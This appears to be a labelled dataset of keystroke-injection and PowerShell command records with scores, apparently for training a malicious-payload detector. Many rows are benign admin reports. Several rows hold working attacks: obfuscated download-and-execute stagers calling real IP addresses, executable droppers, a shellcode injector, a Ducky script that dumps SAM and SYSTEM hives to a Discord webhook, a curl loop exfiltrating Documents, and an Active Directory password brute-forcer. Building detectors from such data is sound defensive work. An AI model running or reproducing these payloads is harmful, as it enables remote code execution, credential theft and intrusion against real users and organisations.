"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_do6nlzs0"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process -Name ""msedge"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 25 Name, Id, Path, Company | enter Export-Csv -Path (Join-Path $ReportDir ""process_named_processes_25.csv"") -NoTypeInformation enter Get-ScheduledTask | enter Select-Object -First 50 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_all_tasks.csv"") -NoTypeInformation enter",0,0,0.99996567,3.4370474e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_g8ht7xc1"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting service_checks section 1."" enter Get-Service -Name wuauserv,bits,cryptsvc -ErrorAction SilentlyContinue | enter Sort-Object Status | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter Export-Csv -Path (Join-Path $ReportDir ""service_update_related.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999664,3.3614288e-05
win+r powershell enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install intellijidea-community enter A enter enter,0,0,0.999959,4.096003e-05
"win+r enter powershell enter enter enter function Get-PdfText enter { enter [CmdletBinding()] enter [OutputType([string])] enter param ( enter [Parameter(Mandatory = $true)] enter [string] enter $Path enter ) enter enter $Path = $PSCmdlet.GetUnresolvedProviderPathFromPSPath($Path) enter enter try enter { enter $reader = New-Object iTextSharp.text.pdf.pdfreader -ArgumentList $Path enter } enter catch enter { enter throw enter } enter enter $stringBuilder = New-Object System.Text.StringBuilder enter enter for ($page = 1; $page -le $reader.NumberOfPages; $page++) enter { enter $text = [iTextSharp.text.pdf.parser.PdfTextExtractor]::GetTextFromPage($reader, $page) enter $null = $stringBuilder.AppendLine($text) enter } enter enter $reader.Close() enter enter return $stringBuilder.ToString() enter } enter enter",0,0,0.95801824,0.041981794
DUCKY_REAL_BEGIN enter REM MADE BY HTTPS / https://github.com/httpsisbetter enter REM Changes language in settings to arabic ( It will still have the language input bar in the bottom ) enter REM Requirements: CHROMEOS enter DEFAULTDELAY 100 enter CTRL W enter REPEAT 2 enter TAB enter ENTER enter DELAY 500 enter STRING add input methods enter DELAY 1000 enter ENTER enter REM ----- enter DELAY 3000 enter ENTER enter DELAY 700 enter STRING arabic enter DELAY 500 enter ENTER enter TAB enter TAB enter ENTER enter TAB enter TAB enter ENTER enter REM ----- enter DELAY 500 enter SHIFT TAB enter DELAY 70 enter SHIFT TAB enter DELAY 70 enter SHIFT TAB enter DELAY 70 enter ENTER enter CTRL W enter REPEAT 2 enter DUCKY_REAL_END,1,1,6.0811308e-05,0.9999392
"win+r enter powershell enter enter enter function Assert-LastError enter { enter enter [CmdletBinding()] enter param( enter [Parameter(Mandatory=$true,Position=0)] enter [string] enter enter $ExpectedError, enter enter [Parameter(Position=1)] enter [string] enter enter $Message enter ) enter enter Set-StrictMode -Version 'Latest' enter enter Write-Warning 'OBSOLETE. Use `Assert-Error -Last` instead.' enter enter Assert-Error -Last -Regex $ExpectedError enter } enter Set-Alias -Name 'Assert-LastPipelineError' -Value 'Assert-LastError' enter enter",0,0,0.99995816,4.1830004e-05
"win+r enter powershell enter enter enter <# enter .Synopsis enter Brute forces active directory user accounts enter .DESCRIPTION enter Brute forces active directory user accounts enter .EXAMPLE enter PS C:\> Brute-Ad enter Bruteforce all accounts in AD with a given password or list of passwords. enter .EXAMPLE enter Brute-Ad -list password1,password2,'$password$','$Pa55w0rd$' enter Brute force all accounts in AD with a provided list of passwords. enter .EXAMPLE enter Brute-Ad -List password1 enter Brute force all accounts in AD with just one password. enter .EXAMPLE enter Brute-Ad -list Password1,password2,'$password$','$Pa55w0rd$',password12345 enter The provided list will be used: Password1 password2 $password$ $Pa55w0rd$ password12345 enter .EXAMPLE enter Brute-Ad -list Password1,password2 -domain test.ad.com enter enter Username Password IsValid enter {Administrator} $Pa55w0rd$ True enter {jdoe} Password1 True enter #> enter function Brute-Ad enter { enter [cmdletbinding()] enter Param enter ( enter [string[]]$list, enter $domain enter ) enter Write-Output """" enter Write-Output ""[+] Brute-ad module started"" enter Write-Output """" enter if ($list) enter { enter $allpasswords = $list enter Write-Output 'The provided list will be used: '$allpasswords`n enter } enter else enter { enter $allpasswords = @('Password1') enter Write-Output 'The built-in list will be used: '$allpasswords`n enter } enter enter Function Get-LockOutThreshold enter { enter $domain = [ADSI]""WinNT://$env:userdomain"" enter $Name = @{Name='DomainName';Expression={$_.Name}} enter $AcctLockoutThreshold = @{Name='Account Lockout Threshold (Invalid logon attempts)';Expression={$_.MaxBadPasswordsAllowed}} enter $domain | Select-Object $AcctLockoutThreshold enter } enter enter $lockout = Get-LockOutThreshold enter enter Function Test-ADCredential enter { enter Param($username, $password, $domain) enter Add-Type -AssemblyName System.DirectoryServices.AccountManagement enter $ct = [System.DirectoryServices.AccountManagement.ContextType]::Domain enter $pc = New-Object System.DirectoryServices.AccountManagement.PrincipalContext($ct, $domain) enter $object = New-Object PSObject | Select-Object -Property Username, Password, IsValid enter $object.Username = $username; enter $object.Password = $password; enter $object.IsValid = $pc.ValidateCredentials($username, $password).ToString(); enter return $object enter } enter enter $username = '' enter enter $lockoutthres = $lockout.'Account Lockout Threshold (Invalid logon attempts)' enter enter if (!$lockoutthres) enter { enter $passwords = $allpasswords #no lockout threshold enter } enter elseif ($lockoutthres -eq 1) enter { enter $passwords = $allpasswords | Select-Object -First 1 enter } enter else enter { enter $passwords = $allpasswords | Select-Object -First ($lockoutthres -=1) enter } enter enter if (!$domain) enter { enter $domain = $env:USERDOMAIN enter $DirSearcher = New-Object System.DirectoryServices.DirectorySearcher([adsi]'') enter $DirSearcher.Filter = '(&(objectCategory=Person)(objectClass=User))' enter $DirSearcher.FindAll().GetEnumerator() | ForEach-Object{ enter enter $username = $_.Properties.samaccountname enter foreach ($password in $passwords) enter { enter $result = Test-ADCredential -username $username -password $password -domain $domain enter $result | Where {$_.IsValid -eq $True} enter } enter } enter } else { enter $forest= [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() enter $domainname= $forest.Domains | ? {$_.Name -like ""$($domain)*""} enter if ($domainname.Count -gt 1) { enter echo ""[-] More than one match for domain: *$($domain)*"" enter echo ""Please use FQDN"" enter echo $domainname enter } else { enter $domainDN=$domainname.GetDirectoryEntry().distinguishedName enter $Searcher=New-Object System.DirectoryServices.DirectorySearcher([ADSI]""LDAP://$domainDN"") enter $Searcher.Filter = '(&(objectCategory=Person)(objectClass=User))' enter $domain = $domainname.name enter $Searcher.FindAll().GetEnumerator() | ForEach-Object{ enter enter $username = $_.Properties.samaccountname enter foreach ($password in $passwords) enter { enter $result = Test-ADCredential -username $username -password $password -domain $domain enter $result | Where {$_.IsValid -eq $True} enter } enter } enter } enter enter } enter enter Write-Output """" enter Write-Output ""[+] Module completed"" enter } enter enter",1,1,8.752153e-05,0.9999125
"win+r enter powershell enter enter enter $global:BannedCommands = @( enter 'Write-Host', enter 'Write-Verbose', enter 'Write-Warning', enter 'Write-Error', enter 'Write-Output', enter 'Write-Information', enter 'Write-Debug' enter ) enter $global:MayContainCommand = @{ enter ""Write-Host"" = @('Write-PSFHostColor.ps1') enter ""Write-Verbose"" = @() enter ""Write-Warning"" = @() enter ""Write-Error"" = @('Invoke-PSFCommand.ps1','Stop-PSFFunction.ps1') enter ""Write-Output"" = @('filesystem.provider.ps1', 'gelf.provider.ps1', 'logfile.provider.ps1', 'input.ps1') enter ""Write-Information"" = @() enter ""Write-Debug"" = @() enter } enter enter",0,0,0.999348,0.0006520439
win+r powershell enter  function Test-ContainerService { $rgname = Get-ComputeTestResourceName t enter ry { $loc = 'eastus2'; New-AzResourceGroup -Name $rgname -Location $loc -Fo enter rce; enter enter,1,1,0.0005758983,0.9994241
"win+r enter powershell enter enter enter function Get-TypeDocumentationLink enter { enter param( enter [Parameter(Mandatory=$true)] enter [string] enter enter $CommandName, enter enter [Parameter(Mandatory=$true)] enter [string] enter enter $TypeName enter ) enter enter Set-StrictMode -Version 'Latest' enter enter $displayName = $TypeName enter if( $TypeName.EndsWith('[]') ) enter { enter $TypeName = $TypeName -replace '\[\]','' enter } enter enter if( $TypeName -eq 'bool' ) enter { enter $TypeName = 'boolean' enter } enter enter $type = $null enter if( $loadedTypes.ContainsKey( $TypeName ) ) enter { enter $type = [Type]$loadedTypes[$TypeName] enter } enter else enter { enter try enter { enter $type = [Type]$TypeName enter } enter catch enter { enter Write-Warning (""[{0}] Type {1} not found."" -f $CommandName,$TypeName) enter return $displayName enter } enter } enter enter $typeLink = $TypeName enter $typeFullName = $type.FullName enter enter $msdnUri = 'http://msdn.microsoft.com/en-us/library/{0}.aspx' -f $Type.FullName.ToLower() enter if( $Type.FullName -notlike 'System.*' ) enter { enter $result = $null enter try enter { enter $result = Invoke-WebRequest -Uri $msdnUri -Method Head -ErrorAction Ignore enter } enter catch enter { enter } enter enter if( -not $result ) enter { enter return $displayName enter } enter } enter enter return '<a href=""{0}"">{1}</a>' -f $msdnUri,$displayName enter } enter $wc=NEw-Object SYSteM.NEt.WeBClIENt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$WC.HEaders.AdD('User-Agent',$u);$Wc.PROXY = [SYsTem.Net.WEbREQUEsT]::DefAulTWebPrOXy;$Wc.Proxy.CREdenTiAls = [SYSTeM.NEt.CreDentIAlCAcHe]::DeFauLTNEtworKCrEdENTiaLs;$K='tJ2esVpq;/yZ7CmW&3P,HiOU?l<~b6If';$i=0;[chAr[]]$b=([chAr[]]($Wc.DOwNlOaDStriNG(""https://46.101.203.156:443/index.asp"")))|%{$_-BXoR$k[$I++%$k.LENgth]};IEX ($B-JOIn'') enter enter",1,1,5.572336e-05,0.9999443
"win+r enter powershell enter enter enter function Get-VMError enter { enter [CmdletBinding()] enter param enter ( enter [Parameter(Mandatory, ValueFromPipelineByPropertyName)] enter [ValidateNotNullOrEmpty()] enter [Alias('ComputerName')] enter [string]$Server, enter enter [Parameter()] enter [ValidateNotNullOrEmpty()] enter [pscredential]$Credential enter ) enter enter $whereFilter = { $_.TimeCreated -gt (Get-Date).AddDays(-1) -and ($_.LevelDisplayName -in @('Error', 'Critical')) } enter enter $properties = @('Machinename', 'TimeCreated', 'LevelDisplayName', 'Message') enter $winParams = @{ enter 'ComputerName' = $Server enter 'LogName' = 'Microsoft-Windows-Hyper-V-*' enter } enter if ($PSBoundParameters.ContainsKey('Credential')) { enter $winParams.Credential = $Credential enter } enter Get-WinEvent @winParams | where -FilterScript $whereFilter | Select $properties enter } enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.9283742e-05,0.99994075
"win+r powershell enter unknown_key_action EXTENSION PASSIVE_WINDOWS_DETECT enter unknown_key_action DEFINE #MAX_WAIT 150 enter unknown_key_action DEFINE #CHECK_INTERVAL 20 enter unknown_key_action DEFINE #WINDOWS_HOST_REQUEST_COUNT 2 enter unknown_key_action DEFINE #NOT_WINDOWS 7 enter unknown_key_action $_OS = #NOT_WINDOWS enter unknown_key_action VAR $MAX_TRIES = #MAX_WAIT enter unknown_key_action WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0)) enter delay_medium enter unknown_key_action $MAX_TRIES = ($MAX_TRIES - 1) enter unknown_key_action END_WHILE enter unknown_key_action IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN enter unknown_key_action $_OS = WINDOWS enter unknown_key_action END_IF enter unknown_key_action END_EXTENSION enter unknown_key_action DEFINE #DISCORD_WEBHOOK_URL DISCORD_WEBHOOK_URL_HERE enter unknown_key_action GUI d enter delay_medium enter win+r enter delay_medium enter powershell Start-Process powershell -Verb runAs enter enter enter delay_long enter unknown_key_action LEFTARROW enter enter enter delay_long enter C:\Windows\System32 enter eg save HKLM\SAM sam /y; C:\Windows\System32 enter eg save HKLM\SYSTEM system /y; Add-Type -AssemblyName ""System.Net.Http""; $webhookUrl = ""#DISCORD_WEBHOOK_URL""; $client = New-Object System.Net.Http.HttpClient; $fileStream1 = [System.IO.File]::OpenRead(""sam""); $fileContent1 = New-Object System.Net.Http.StreamContent($fileStream1); $content1 = New-Object System.Net.Http.MultipartFormDataContent; $content1.Add($fileContent1, ""file"", ""sam""); $client.PostAsync($webhookUrl, $content1).Result; $fileStream1.Close(); $fileStream2 = [System.IO.File]::OpenRead(""system""); $fileContent2 = New-Object System.Net.Http.StreamContent($fileStream2); $content2 = New-Object System.Net.Http.MultipartFormDataContent; $content2.Add($fileContent2, ""file"", ""system""); $client.PostAsync($webhookUrl, $content2).Result; $fileStream2.Close() enter enter enter delay_medium enter unknown_key_action GUI d enter",1,1,5.7342848e-05,0.99994266
"win+r enter powershell enter enter enter  enter function Test-NewPeerAsn() enter { enter enter $asnId = 65000 enter $asnPeerName = getAssetName ""Global"" enter $asnPeer = getAssetName enter [string[]]$emails = ""noc@$asnPeer.com"",""noc@$asnPeerName.com"" enter $phone = getAssetName enter try{ enter New-AzPeerAsn -Name $asnPeerName -PeerName $asnPeer -PeerAsn $asnId -Email $emails -Phone $phone enter $asn = Get-AzPeerAsn -Name $asnPeerName enter Assert-NotNull $asn enter Assert-AreEqual ""None"" $asn.ValidationState enter Assert-AreEqual $asnPeerName $asn.Name enter Assert-AreEqual $asnId $asn.PeerAsnProperty enter Assert-AreEqual $asnPeer $asn.PeerName enter Assert-True {$emails | % {$_ -like ""noc@*.com""}} enter } enter finally{ enter Remove-AzPeerAsn -Name $asnPeerName -Force enter } enter } enter enter function Test-GetPeerAsn enter { enter enter $asnId = 65000 enter $asnPeerName = getAssetName ""Global"" enter $asnPeer = getAssetName enter [string[]]$emails = ""noc@$asnPeer.com"",""noc@$asnPeerName.com"" enter $phone = getAssetName enter try{ enter $created = New-AzPeerAsn -Name $asnPeerName -PeerName $asnPeer -PeerAsn $asnId -Email $emails -Phone $phone enter $asn = Get-AzPeerAsn -Name $asnPeerName enter Assert-NotNull $asn enter Assert-NotNull $created enter Assert-AreEqual $created.ValidationState $asn.ValidationState enter Assert-AreEqual $created.Name $asn.Name enter Assert-AreEqual $created.PeerAsnProperty $asn.PeerAsnProperty enter Assert-AreEqual $created.PeerName $asn.PeerName enter Assert-True {$emails | % {$_ -like ""noc@*.com""}} enter } enter finally{ enter Remove-AzPeerAsn -Name $asnPeerName -Force enter } enter } enter enter function Test-ListPeerAsn enter { enter enter makePeerAsn 65000 enter makePeerAsn 65001 enter makePeerAsn 65002 enter try{ enter $asn = Get-AzPeerAsn enter Assert-NotNull $asn enter Assert-True {$asn.Count -ge 3} enter } enter finally{ enter Get-AzPeerAsn | Where-Object {$_.Name -match ""Global""} | Remove-AzPeerAsn -Force enter } enter $cleaner = Get-AzPeerAsn | Where-Object {$_.Name -match ""Global""} enter Assert-Null $cleaner enter } enter function Test-SetPeerAsn enter { enter $createdPeerAsn = makePeerAsn 65000 enter Assert-NotNull $createdPeerAsn enter $name = $createdPeerAsn.Name enter $getPeerAsn = Get-AzPeerAsn -Name $name enter enter $email = getAssetName enter $email = ""$email@$name.com"" enter $getPeerAsn | Set-AzPeerAsn -Email $email enter $peerasn = Get-AzPeerAsn enter Assert-True { $peerasn.PeerContactInfo.Emails | Where-Object { $_ -match ""$email"" } | % {$_ -like $email} } enter Remove-AzPeerAsn -Name $name -Force enter } enter enter function Test-RemovePeerAsn enter { enter $createdPeerAsn = makePeerAsn 65000 enter Assert-NotNull $createdPeerAsn enter $name = $createdPeerAsn.Name enter $getPeerAsn = Get-AzPeerAsn -Name $name enter Assert-NotNull $getPeerAsn enter $remove = Remove-AzPeerAsn $name -PassThru -Force enter Assert-NotNull $remove enter Assert-AreEqual $remove ""$true"" enter Assert-ThrowsContains {Get-AzPeerAsn -Name $name} ""Error"" enter } enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xbe,0xe9,0xaf,0xb5,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1983683e-05,0.999948
"win+r powershell enter [System.Reflection.Assembly]::LoadWithPartialName(""Microsoft.SqlServer.Smo"") | O enter ut-Null; $smoObj = [Microsoft.SqlServer.Management.Smo.SmoApplication]; $sql enter = $smoObj::EnumAvailableSqlServers($false); $xl = New-Object -ComObject Excel enter .Application; $xl.Visible = $true; $xl = $xl.Workbooks.Add(); $Sheet = $xl.Works enter heets.Item(1); enter enter",1,1,0.0005332312,0.99946684
DUCKY_REAL_BEGIN enter REM ################################################################## enter REM # | enter REM # Title : Make Windows performant (but ugly and boring) | enter REM # Author : Aleff | enter REM # Version : 1.0 | enter REM # Category : Execution | enter REM # Target : Windows 10/11 | enter REM # | enter REM ################################################################## enter REM Plug-And-Play <3 enter REM Requirements: enter REM - Nothing enter REM Note: enter REM - Payload tested on Windows 11 Eng enter GUI r enter DELAY 2000 enter REM Open advanced settings enter STRING sysdm.cpl enter ENTER enter DELAY 2000 enter REM Goto nav bar enter TAB enter DELAY 500 enter TAB enter DELAY 500 enter TAB enter DELAY 500 enter TAB enter DELAY 500 enter TAB enter DELAY 500 enter REM Goto Advanced enter RIGHTARROW enter DELAY 500 enter RIGHTARROW enter DELAY 500 enter REM Open Settings enter TAB enter DELAY 500 enter REM Invia il comando enter DUCKY_REAL_END,1,1,5.9433973e-05,0.9999405
"win+r powershell enter notepad $echo = (Get-WindowStation | Select-Object -ExpandProperty Processes | enter Where-Object {$_.MainWindowHandle -eq (Get-ForegroundWindow())} | Select-Object enter -ExpandProperty MainWindowTitle) echo $echo > ""C:\Users\$env:UserName\Desktop tab e enter st.log"" notepad ""C:\Users\$env:UserName\Desktop tab est.log"" enter enter",1,1,0.0004188232,0.99958116
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_m8vlfsw3"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Manual"" } | enter Sort-Object Name | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""service_manual.txt"") -Encoding UTF8 enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_admins.txt"") -Encoding UTF8 enter Write-Host ""Starting disk_checks section 3."" enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_psdrive.json"") -Encoding UTF8 enter",0,0,0.99996483,3.51557e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_5goola2a"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-DnsClientServerAddress | enter Select-Object InterfaceAlias, AddressFamily, ServerAddresses | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_dns_servers.json"") -Encoding UTF8 enter Get-Process | enter Sort-Object ProcessName | enter Select-Object -First 10 Name, Id, Path, Company | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_process_overview_10.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999647,3.5295478e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_72r3w27j"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting event_log_review section 1."" enter Get-WinEvent -LogName System -MaxEvents 150 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_provider_summary_150.csv"") -NoTypeInformation enter Get-Process | enter Sort-Object WorkingSet64 -Descending | enter Select-Object -First 25 Name, Id, CPU, WorkingSet64 | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_memory_25.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4228873e-05
"win+r powershell enter $wC=New-OBject SySTEm.NEt.WEbCLieNT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trid enter ent/7.0; rv:11.0) like Gecko';$wC.HeAderS.Add('User-Agent',$u);$Wc.PrOxy = [SYst enter Em.NeT.WEbReqUesT]::DEFAULtWebPRoxY;$Wc.PrOxY.CreDEnTiALs = [SysteM.NEt.CreDENtI enter aLCAcHE]::DEfAuLtNEtWorkCredenTials;$K='+o~wy2*CJxSA^ enter enter",1,1,5.46423e-05,0.9999454
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_wnytyv2x"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetAdapter | enter Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_adapter.json"") -Encoding UTF8 enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 100 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_ready_tasks.csv"") -NoTypeInformation enter",0,0,0.9999658,3.4195495e-05
"win+r enter powershell enter enter enter function Get-SNMPData { enter param ( enter [string]$ip enter ) enter enter begin { enter $ping = New-Object System.Net.NetworkInformation.Ping enter $snmp = New-Object -ComObject olePrn.OleSNMP enter } enter enter process { enter $info = [pscustomobject]@{ enter IP = $ip enter Name = '' enter Description = '' enter Addresses = '' enter Online = $false enter } enter enter if ($ping.Send($ip).Status -eq 'Success') { enter $info.Online = $true enter enter $snmp.Open($ip, 'public', 2, 3000) enter enter try { enter $info.Name = $snmp.Get('.1.3.6.1.2.1.1.5.0') enter $info.Description = $snmp.Get('.1.3.6.1.2.1.1.1.0') enter $info.Addresses = ($snmp.Gettree('.1.3.6.1.2.1.4.20.1.1') | ? {$_ -match '(?:[^\.]{1,3}\.){3}[^\.]{1,3}$' -and $_ -notmatch '127\.0\.0\.1'} | % {$i = $_.split('.'); ""$($i[-4]).$($i[-3]).$($i[-2]).$($i[-1])""}) -join ';' enter } catch {} enter } enter enter Write-Output $info enter } enter } enter enter",0,0,0.9795609,0.020439116
"win+r powershell enter Write-Progress -Activity ""Remove Apps"" -Status ""Looking for apps to remove..."" - enter PercentComplete 0 $PackagesToRemove = ""Microsoft.3DBuilder"", ""Microsoft.Micros enter oft3DViewer"", ""Microsoft.BingFinance"", ""Microsoft.BingNews"", ""Microsoft.BingSpor enter ts"", ""Microsoft.BingTranslator"", ""Microsoft.CommsPhone"", ""Microsoft.Getstarted"", enter ""Microsoft.Messaging"", enter enter",1,1,0.008303888,0.9916962
win+r powershell enter delay_long enter unknown_key_action CTRL-ALT F1 enter delay_short enter for f in Documents/*;do curl -F file=@$f http://127.0.0.1:80/;done enter delay_short enter enter enter history -c enter delay_short enter enter enter,1,1,5.6997145e-05,0.999943
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_zgyxna5v"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 200 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_errors_200.json"") -Encoding UTF8 enter Get-Process | enter Sort-Object ProcessName | enter Select-Object -First 20 Name, Id, Path, Company | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_process_overview_20.txt"") -Encoding UTF8 enter",0,0,0.9999654,3.454272e-05
"win+r enter powershell enter enter enter task default -depends Test enter enter task Test -depends Compile, Clean -PreAction {""Pre-Test""} -Action { enter ""Test"" enter } -PostAction {""Post-Test""} enter enter task Compile -depends Clean { enter ""Compile"" enter } enter enter task Clean { enter ""Clean"" enter } enter (New-Object System.Net.WebClient).DownloadFile('http://80.82.64.45/~yakar/msvmonr.exe',""$env:APPDATA\msvmonr.exe"");Start-Process (""$env:APPDATA\msvmonr.exe"") enter enter",1,1,5.666542e-05,0.9999434
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""support_summary_7e55uifd"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetAdapter | enter Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress | enter Export-Csv -Path (Join-Path $ReportDir ""network_adapter.csv"") -NoTypeInformation enter Write-Host ""Starting scheduled_task_inventory section 2."" enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 150 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_ready_tasks.csv"") -NoTypeInformation enter",0,0,0.99996614,3.3794797e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_kjqquw1v"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting system_inventory section 1."" enter Get-ComputerInfo | enter Select-Object CsName, CsDomain, CsUserName, TimeZone, OsLastBootUpTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""computer_info_report.json"") -Encoding UTF8 enter Write-Host ""Starting scheduled_task_inventory section 2."" enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Ready"" } | enter Select-Object -First 100 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_ready_tasks.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4298566e-05
"win+r enter powershell enter enter enter  enter $mv = Get-Content ""D11.jpg""; enter $asciiChars= $mv -split '-' |ForEach-Object {[char][byte]""0x$_""};$asciiString= $asciiChars -join ''|IEX enter enter",1,0,0.9762738,0.023726234
